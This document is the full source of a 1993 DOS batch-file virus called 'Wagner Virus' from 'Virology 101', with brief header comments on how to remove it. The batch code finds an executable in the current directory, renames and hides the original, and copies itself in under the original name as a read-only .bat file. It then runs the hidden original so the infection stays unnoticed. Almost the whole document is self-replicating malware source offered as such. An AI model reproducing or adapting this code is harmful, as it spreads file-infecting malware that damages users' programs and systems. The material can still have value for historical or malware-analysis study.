Wagner Virus - Virology 101 (c) 1993 Black Wolf - Source Code

@echo off
    ctty nul
    rem  ______________________________________________________________
    rem :Wagner Virus, as presented in Virology 101 (c) 1993 Black Wolf
    rem :This virus can be cured simply by typing "attrib -h -r *.*" in
    rem :infected directories and deleting BAT files that are identical
    rem :to this code, then rename the files having a "V" at the start
    rem :to their original names.   NOTE: Does not infect COMMAND.COM.
    rem :______________________________________________________________
    for %%f in (*.exe *.com) do set A=%%f
    if %A%==COMMAND.COM set A=
    rename %A% V%A%
    if not exist V%A% goto end
    attrib +h V%A%
    copy %0.bat %A%
    attrib +r %A%
    ren %A% *.bat
    set A=
    :end
    ctty con
    @if exist V%0.com V%0.com %1 %2 %3
    @if exist V%0.exe V%0.exe %1 %2 %3